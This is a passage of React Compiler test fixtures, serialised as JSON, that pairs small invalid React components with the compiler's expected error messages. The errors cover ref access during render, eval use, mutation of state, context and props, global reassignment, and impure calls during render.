    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nfunction Component() {\n  const ref = useRef(null);\n  ref.current = false;\n\n  return <button ref={ref} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-disallow-mutating-ref-in-render.ts:4:2\n  2 | function Component() {\n  3 |   const ref = useRef(null);\n> 4 |   ref.current = false;\n    |   ^^^^^^^^^^^ Cannot update ref during render\n  5 |\n  6 |   return <button ref={ref} />;\n  7 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-disallow-mutating-ref-in-render.js",
    "content": "// @validateRefAccessDuringRender\nfunction Component() {\n  const ref = useRef(null);\n  ref.current = false;\n\n  return <button ref={ref} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-disallow-mutating-refs-in-render-transitive.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nfunction Component() {\n  const ref = useRef(null);\n\n  const setRef = () => {\n    ref.current = false;\n  };\n  const changeRef = setRef;\n  changeRef();\n\n  return <button ref={ref} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-disallow-mutating-refs-in-render-transitive.ts:9:2\n   7 |   };\n   8 |   const changeRef = setRef;\n>  9 |   changeRef();\n     |   ^^^^^^^^^ This function accesses a ref value\n  10 |\n  11 |   return <button ref={ref} />;\n  12 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-disallow-mutating-refs-in-render-transitive.js",
    "content": "// @validateRefAccessDuringRender\nfunction Component() {\n  const ref = useRef(null);\n\n  const setRef = () => {\n    ref.current = false;\n  };\n  const changeRef = setRef;\n  changeRef();\n\n  return <button ref={ref} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-eval-unsupported.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  eval('props.x = true');\n  return <div />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: The 'eval' function is not supported\n\nEval is an anti-pattern in JavaScript, and the code executed cannot be evaluated by React Compiler.\n\nerror.invalid-eval-unsupported.ts:2:2\n  1 | function Component(props) {\n> 2 |   eval('props.x = true');\n    |   ^^^^ The 'eval' function is not supported\n  3 |   return <div />;\n  4 | }\n  5 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-eval-unsupported.js",
    "content": "function Component(props) {\n  eval('props.x = true');\n  return <div />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-function-expression-mutates-immutable-value.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const [x, setX] = useState({value: ''});\n  const onChange = e => {\n    // INVALID! should use copy-on-write and pass the new value\n    x.value = e.target.value;\n    setX(x);\n  };\n  return <input value={x.value} onChange={onChange} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value returned from 'useState()', which should not be modified directly. Use the setter function to update instead.\n\nerror.invalid-function-expression-mutates-immutable-value.ts:5:4\n  3 |   const onChange = e => {\n  4 |     // INVALID! should use copy-on-write and pass the new value\n> 5 |     x.value = e.target.value;\n    |     ^ `x` cannot be modified\n  6 |     setX(x);\n  7 |   };\n  8 |   return <input value={x.value} onChange={onChange} />;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-function-expression-mutates-immutable-value.js",
    "content": "function Component(props) {\n  const [x, setX] = useState({value: ''});\n  const onChange = e => {\n    // INVALID! should use copy-on-write and pass the new value\n    x.value = e.target.value;\n    setX(x);\n  };\n  return <input value={x.value} onChange={onChange} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-global-reassignment-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect, useState} from 'react';\n\nlet someGlobal = false;\n\nfunction Component() {\n  const [state, setState] = useState(someGlobal);\n\n  const setGlobal = () => {\n    someGlobal = true;\n  };\n  const indirectSetGlobal = () => {\n    setGlobal();\n  };\n  indirectSetGlobal();\n\n  useEffect(() => {\n    setState(someGlobal);\n  }, [someGlobal]);\n\n  return <div>{String(state)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `someGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.invalid-global-reassignment-indirect.ts:9:4\n   7 |\n   8 |   const setGlobal = () => {\n>  9 |     someGlobal = true;\n     |     ^^^^^^^^^^ `someGlobal` cannot be reassigned\n  10 |   };\n  11 |   const indirectSetGlobal = () => {\n  12 |     setGlobal();\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-global-reassignment-indirect.js",
    "content": "import {useEffect, useState} from 'react';\n\nlet someGlobal = false;\n\nfunction Component() {\n  const [state, setState] = useState(someGlobal);\n\n  const setGlobal = () => {\n    someGlobal = true;\n  };\n  const indirectSetGlobal = () => {\n    setGlobal();\n  };\n  indirectSetGlobal();\n\n  useEffect(() => {\n    setState(someGlobal);\n  }, [someGlobal]);\n\n  return <div>{String(state)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hoisting-setstate.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {useEffect, useState} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo() {\n  /**\n   * Previously, this lowered to\n   * $1 = LoadContext capture setState\n   * $2 = FunctionExpression deps=$1 context=setState\n   *  [[ at this point, we freeze the `LoadContext setState` instruction, but it will never be referenced again ]]\n   *\n   * Now, this function expression directly references `setState`, which freezes\n   * the source `DeclareContext HoistedConst setState`. Freezing source identifiers\n   * (instead of the one level removed `LoadContext`) is more semantically correct\n   * for everything *other* than hoisted context declarations.\n   *\n   * $2 = Function context=setState\n   */\n  useEffect(() => setState(2), []);\n\n  const [state, setState] = useState(0);\n  return <Stringify state={state} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access variable before it is declared\n\n`setState` is accessed before it is declared, which prevents the earlier access from updating when this value changes over time.\n\nerror.invalid-hoisting-setstate.ts:19:18\n  17 |    * $2 = Function context=setState\n  18 |    */\n> 19 |   useEffect(() => setState(2), []);\n     |                   ^^^^^^^^ `setState` accessed before it is declared\n  20 |\n  21 |   const [state, setState] = useState(0);\n  22 |   return <Stringify state={state} />;\n\nerror.invalid-hoisting-setstate.ts:21:16\n  19 |   useEffect(() => setState(2), []);\n  20 |\n> 21 |   const [state, setState] = useState(0);\n     |                 ^^^^^^^^ `setState` is declared here\n  22 |   return <Stringify state={state} />;\n  23 | }\n  24 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hoisting-setstate.js",
    "content": "// @enableNewMutationAliasingModel\nimport {useEffect, useState} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo() {\n  /**\n   * Previously, this lowered to\n   * $1 = LoadContext capture setState\n   * $2 = FunctionExpression deps=$1 context=setState\n   *  [[ at this point, we freeze the `LoadContext setState` instruction, but it will never be referenced again ]]\n   *\n   * Now, this function expression directly references `setState`, which freezes\n   * the source `DeclareContext HoistedConst setState`. Freezing source identifiers\n   * (instead of the one level removed `LoadContext`) is more semantically correct\n   * for everything *other* than hoisted context declarations.\n   *\n   * $2 = Function context=setState\n   */\n  useEffect(() => setState(2), []);\n\n  const [state, setState] = useState(0);\n  return <Stringify state={state} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hook-function-argument-mutates-local-variable.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoFreezingKnownMutableFunctions\n\nfunction useFoo() {\n  const cache = new Map();\n  useHook(() => {\n    cache.set('key', 'value');\n  });\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `cache` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-hook-function-argument-mutates-local-variable.ts:5:10\n  3 | function useFoo() {\n  4 |   const cache = new Map();\n> 5 |   useHook(() => {\n    |           ^^^^^^^\n> 6 |     cache.set('key', 'value');\n    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 7 |   });\n    | ^^^^ This function may (indirectly) reassign or modify `cache` after render\n  8 | }\n  9 |\n\nerror.invalid-hook-function-argument-mutates-local-variable.ts:6:4\n  4 |   const cache = new Map();\n  5 |   useHook(() => {\n> 6 |     cache.set('key', 'value');\n    |     ^^^^^ This modifies `cache`\n  7 |   });\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hook-function-argument-mutates-local-variable.js",
    "content": "// @validateNoFreezingKnownMutableFunctions\n\nfunction useFoo() {\n  const cache = new Map();\n  useHook(() => {\n    cache.set('key', 'value');\n  });\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-impure-functions-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoImpureFunctionsInRender\n\nfunction Component() {\n  const date = Date.now();\n  const now = performance.now();\n  const rand = Math.random();\n  return <Foo date={date} now={now} rand={rand} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nError: Cannot call impure function during render\n\n`Date.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).\n\nerror.invalid-impure-functions-in-render.ts:4:15\n  2 |\n  3 | function Component() {\n> 4 |   const date = Date.now();\n    |                ^^^^^^^^^^ Cannot call impure function\n  5 |   const now = performance.now();\n  6 |   const rand = Math.random();\n  7 |   return <Foo date={date} now={now} rand={rand} />;\n\nError: Cannot call impure function during render\n\n`performance.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).\n\nerror.invalid-impure-functions-in-render.ts:5:14\n  3 | function Component() {\n  4 |   const date = Date.now();\n> 5 |   const now = performance.now();\n    |               ^^^^^^^^^^^^^^^^^ Cannot call impure function\n  6 |   const rand = Math.random();\n  7 |   return <Foo date={date} now={now} rand={rand} />;\n  8 | }\n\nError: Cannot call impure function during render\n\n`Math.random` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).\n\nerror.invalid-impure-functions-in-render.ts:6:15\n  4 |   const date = Date.now();\n  5 |   const now = performance.now();\n> 6 |   const rand = Math.random();\n    |                ^^^^^^^^^^^^^ Cannot call impure function\n  7 |   return <Foo date={date} now={now} rand={rand} />;\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-impure-functions-in-render.js",
    "content": "// @validateNoImpureFunctionsInRender\n\nfunction Component() {\n  const date = Date.now();\n  const now = performance.now();\n  const rand = Math.random();\n  return <Foo date={date} now={now} rand={rand} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-jsx-captures-context-variable.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {Stringify, useIdentity} from 'shared-runtime';\n\nfunction Component({prop1, prop2}) {\n  'use memo';\n\n  const data = useIdentity(\n    new Map([\n      [0, 'value0'],\n      [1, 'value1'],\n    ])\n  );\n  let i = 0;\n  const items = [];\n  items.push(\n    <Stringify\n      key={i}\n      onClick={() => data.get(i) + prop1}\n      shouldInvokeFns={true}\n    />\n  );\n  i = i + 1;\n  items.push(\n    <Stringify\n      key={i}\n      onClick={() => data.get(i) + prop2}\n      shouldInvokeFns={true}\n    />\n  );\n  return <>{items}</>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop1: 'prop1', prop2: 'prop2'}],\n  sequentialRenders: [\n    {prop1: 'prop1', prop2: 'prop2'},\n    {prop1: 'prop1', prop2: 'prop2'},\n    {prop1: 'changed', prop2: 'prop2'},\n  ],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.\n\nerror.invalid-jsx-captures-context-variable.ts:22:2\n  20 |     />\n  21 |   );\n> 22 |   i = i + 1;\n     |   ^ `i` cannot be modified\n  23 |   items.push(\n  24 |     <Stringify\n  25 |       key={i}\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-jsx-captures-context-variable.js",
    "content": "// @enableNewMutationAliasingModel\nimport {Stringify, useIdentity} from 'shared-runtime';\n\nfunction Component({prop1, prop2}) {\n  'use memo';\n\n  const data = useIdentity(\n    new Map([\n      [0, 'value0'],\n      [1, 'value1'],\n    ])\n  );\n  let i = 0;\n  const items = [];\n  items.push(\n    <Stringify\n      key={i}\n      onClick={() => data.get(i) + prop1}\n      shouldInvokeFns={true}\n    />\n  );\n  i = i + 1;\n  items.push(\n    <Stringify\n      key={i}\n      onClick={() => data.get(i) + prop2}\n      shouldInvokeFns={true}\n    />\n  );\n  return <>{items}</>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop1: 'prop1', prop2: 'prop2'}],\n  sequentialRenders: [\n    {prop1: 'prop1', prop2: 'prop2'},\n    {prop1: 'prop1', prop2: 'prop2'},\n    {prop1: 'changed', prop2: 'prop2'},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-function.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {knownIncompatible} from 'ReactCompilerKnownIncompatibleTest';\n\nfunction Component() {\n  const data = knownIncompatible();\n  return <div>Error</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Use of incompatible library\n\nThis API returns functions which cannot be memoized without leading to stale UI. To prevent this, by default React Compiler will skip memoizing this component/hook. However, you may see issues if values from this API are passed to other components/hooks that are memoized.\n\nerror.invalid-known-incompatible-function.ts:4:15\n  2 |\n  3 | function Component() {\n> 4 |   const data = knownIncompatible();\n    |                ^^^^^^^^^^^^^^^^^ useKnownIncompatible is known to be incompatible\n  5 |   return <div>Error</div>;\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-function.js",
    "content": "import {knownIncompatible} from 'ReactCompilerKnownIncompatibleTest';\n\nfunction Component() {\n  const data = knownIncompatible();\n  return <div>Error</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook-return-property.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useKnownIncompatibleIndirect} from 'ReactCompilerKnownIncompatibleTest';\n\nfunction Component() {\n  const {incompatible} = useKnownIncompatibleIndirect();\n  return <div>{incompatible()}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Use of incompatible library\n\nThis API returns functions which cannot be memoized without leading to stale UI. To prevent this, by default React Compiler will skip memoizing this component/hook. However, you may see issues if values from this API are passed to other components/hooks that are memoized.\n\nerror.invalid-known-incompatible-hook-return-property.ts:5:15\n  3 | function Component() {\n  4 |   const {incompatible} = useKnownIncompatibleIndirect();\n> 5 |   return <div>{incompatible()}</div>;\n    |                ^^^^^^^^^^^^ useKnownIncompatibleIndirect returns an incompatible() function that is known incompatible\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook-return-property.js",
    "content": "import {useKnownIncompatibleIndirect} from 'ReactCompilerKnownIncompatibleTest';\n\nfunction Component() {\n  const {incompatible} = useKnownIncompatibleIndirect();\n  return <div>{incompatible()}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useKnownIncompatible} from 'ReactCompilerKnownIncompatibleTest';\n\nfunction Component() {\n  const data = useKnownIncompatible();\n  return <div>Error</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Use of incompatible library\n\nThis API returns functions which cannot be memoized without leading to stale UI. To prevent this, by default React Compiler will skip memoizing this component/hook. However, you may see issues if values from this API are passed to other components/hooks that are memoized.\n\nerror.invalid-known-incompatible-hook.ts:4:15\n  2 |\n  3 | function Component() {\n> 4 |   const data = useKnownIncompatible();\n    |                ^^^^^^^^^^^^^^^^^^^^ useKnownIncompatible is known to be incompatible\n  5 |   return <div>Error</div>;\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook.js",
    "content": "import {useKnownIncompatible} from 'ReactCompilerKnownIncompatibleTest';\n\nfunction Component() {\n  const data = useKnownIncompatible();\n  return <div>Error</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-after-aliased-freeze.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = [];\n  let y = x;\n\n  if (props.p1) {\n    x = [];\n  }\n\n  let _ = <Component x={x} />;\n\n  // y is MaybeFrozen at this point, since it may alias to x\n  // (which is the above line freezes)\n  y.push(props.p2);\n\n  return <Component x={x} y={y} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.\n\nerror.invalid-mutate-after-aliased-freeze.ts:13:2\n  11 |   // y is MaybeFrozen at this point, since it may alias to x\n  12 |   // (which is the above line freezes)\n> 13 |   y.push(props.p2);\n     |   ^ value cannot be modified\n  14 |\n  15 |   return <Component x={x} y={y} />;\n  16 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-after-aliased-freeze.js",
    "content": "function Component(props) {\n  let x = [];\n  let y = x;\n\n  if (props.p1) {\n    x = [];\n  }\n\n  let _ = <Component x={x} />;\n\n  // y is MaybeFrozen at this point, since it may alias to x\n  // (which is the above line freezes)\n  y.push(props.p2);\n\n  return <Component x={x} y={y} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-after-freeze.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = [];\n\n  let _ = <Component x={x} />;\n\n  // x is Frozen at this point\n  x.push(props.p2);\n\n  return <div>{_}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.\n\nerror.invalid-mutate-after-freeze.ts:7:2\n   5 |\n   6 |   // x is Frozen at this point\n>  7 |   x.push(props.p2);\n     |   ^ value cannot be modified\n   8 |\n   9 |   return <div>{_}</div>;\n  10 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-after-freeze.js",
    "content": "function Component(props) {\n  let x = [];\n\n  let _ = <Component x={x} />;\n\n  // x is Frozen at this point\n  x.push(props.p2);\n\n  return <div>{_}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-context-in-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const FooContext = useContext(Foo);\n  // This function should be memoized, but its mutable range is entangled\n  // with the useContext call. We can't memoize hooks, therefore the\n  // reactive scope around the hook + callback is pruned and we're left\n  // w no memoization of the callback.\n  //\n  // Ideally we'd determine that this isn't called during render and can\n  // therefore be considered \"immutable\" or otherwise safe to memoize\n  // independently\n  const onClick = () => {\n    FooContext.current = true;\n  };\n  return <div onClick={onClick} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value returned from 'useContext()' is not allowed..\n\nerror.invalid-mutate-context-in-callback.ts:12:4\n  10 |   // independently\n  11 |   const onClick = () => {\n> 12 |     FooContext.current = true;\n     |     ^^^^^^^^^^ `FooContext` cannot be modified\n  13 |   };\n  14 |   return <div onClick={onClick} />;\n  15 | }\n\nHint: If this value is a Ref (value returned by `useRef()`), rename the variable to end in \"Ref\".\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-context-in-callback.js",
    "content": "function Component(props) {\n  const FooContext = useContext(Foo);\n  // This function should be memoized, but its mutable range is entangled\n  // with the useContext call. We can't memoize hooks, therefore the\n  // reactive scope around the hook + callback is pruned and we're left\n  // w no memoization of the callback.\n  //\n  // Ideally we'd determine that this isn't called during render and can\n  // therefore be considered \"immutable\" or otherwise safe to memoize\n  // independently\n  const onClick = () => {\n    FooContext.current = true;\n  };\n  return <div onClick={onClick} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-context.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const context = useContext(FooContext);\n  context.value = props.value;\n  return context.value;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value returned from 'useContext()' is not allowed..\n\nerror.invalid-mutate-context.ts:3:2\n  1 | function Component(props) {\n  2 |   const context = useContext(FooContext);\n> 3 |   context.value = props.value;\n    |   ^^^^^^^ value cannot be modified\n  4 |   return context.value;\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-context.js",
    "content": "function Component(props) {\n  const context = useContext(FooContext);\n  context.value = props.value;\n  return context.value;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-phi-return-prop.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const renderItem = item => {\n    // Multiple returns so that the return type is a Phi (union)\n    if (item == null) {\n      return null;\n    }\n    // Normally we assume that it's safe to mutate globals in a function passed\n    // as a prop, because the prop could be used as an event handler or effect.\n    // But if the function returns JSX we can assume it's a render helper, ie\n    // called during render, and thus it's unsafe to mutate globals or call\n    // other impure code.\n    global.property = true;\n    return <Item item={item} value={rand} />;\n  };\n  return <ItemList renderItem={renderItem} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a variable defined outside a component or hook is not allowed. Consider using an effect.\n\nerror.invalid-mutate-global-in-render-helper-phi-return-prop.ts:12:4\n  10 |     // called during render, and thus it's unsafe to mutate globals or call\n  11 |     // other impure code.\n> 12 |     global.property = true;\n     |     ^^^^^^ value cannot be modified\n  13 |     return <Item item={item} value={rand} />;\n  14 |   };\n  15 |   return <ItemList renderItem={renderItem} />;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-phi-return-prop.js",
    "content": "function Component() {\n  const renderItem = item => {\n    // Multiple returns so that the return type is a Phi (union)\n    if (item == null) {\n      return null;\n    }\n    // Normally we assume that it's safe to mutate globals in a function passed\n    // as a prop, because the prop could be used as an event handler or effect.\n    // But if the function returns JSX we can assume it's a render helper, ie\n    // called during render, and thus it's unsafe to mutate globals or call\n    // other impure code.\n    global.property = true;\n    return <Item item={item} value={rand} />;\n  };\n  return <ItemList renderItem={renderItem} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-prop.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const renderItem = item => {\n    // Normally we assume that it's safe to mutate globals in a function passed\n    // as a prop, because the prop could be used as an event handler or effect.\n    // But if the function returns JSX we can assume it's a render helper, ie\n    // called during render, and thus it's unsafe to mutate globals or call\n    // other impure code.\n    global.property = true;\n    return <Item item={item} value={rand} />;\n  };\n  return <ItemList renderItem={renderItem} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a variable defined outside a component or hook is not allowed. Consider using an effect.\n\nerror.invalid-mutate-global-in-render-helper-prop.ts:8:4\n   6 |     // called during render, and thus it's unsafe to mutate globals or call\n   7 |     // other impure code.\n>  8 |     global.property = true;\n     |     ^^^^^^ value cannot be modified\n   9 |     return <Item item={item} value={rand} />;\n  10 |   };\n  11 |   return <ItemList renderItem={renderItem} />;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-prop.js",
    "content": "function Component() {\n  const renderItem = item => {\n    // Normally we assume that it's safe to mutate globals in a function passed\n    // as a prop, because the prop could be used as an event handler or effect.\n    // But if the function returns JSX we can assume it's a render helper, ie\n    // called during render, and thus it's unsafe to mutate globals or call\n    // other impure code.\n    global.property = true;\n    return <Item item={item} value={rand} />;\n  };\n  return <ItemList renderItem={renderItem} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-phi-which-could-be-frozen.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const frozen = useHook();\n  let x;\n  if (props.cond) {\n    x = frozen;\n  } else {\n    x = {};\n  }\n  x.property = true;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value returned from a hook is not allowed. Consider moving the modification into the hook where the value is constructed.\n\nerror.invalid-mutate-phi-which-could-be-frozen.ts:11:2\n   9 |     x = {};\n  10 |   }\n> 11 |   x.property = true;\n     |   ^ value cannot be modified\n  12 | }\n  13 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-phi-which-could-be-frozen.js",
    "content": "import {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const frozen = useHook();\n  let x;\n  if (props.cond) {\n    x = frozen;\n  } else {\n    x = {};\n  }\n  x.property = true;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-in-effect-fixpoint.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect} from 'react';\n\nfunction Component(props) {\n  let x = null;\n  while (x == null) {\n    x = props.value;\n  }\n  let y = x;\n  let mutateProps = () => {\n    y.foo = true;\n  };\n  let mutatePropsIndirect = () => {\n    mutateProps();\n  };\n  useEffect(() => mutatePropsIndirect(), [mutatePropsIndirect]);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.invalid-mutate-props-in-effect-fixpoint.ts:10:4\n   8 |   let y = x;\n   9 |   let mutateProps = () => {\n> 10 |     y.foo = true;\n     |     ^ `y` cannot be modified\n  11 |   };\n  12 |   let mutatePropsIndirect = () => {\n  13 |     mutateProps();\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-in-effect-fixpoint.js",
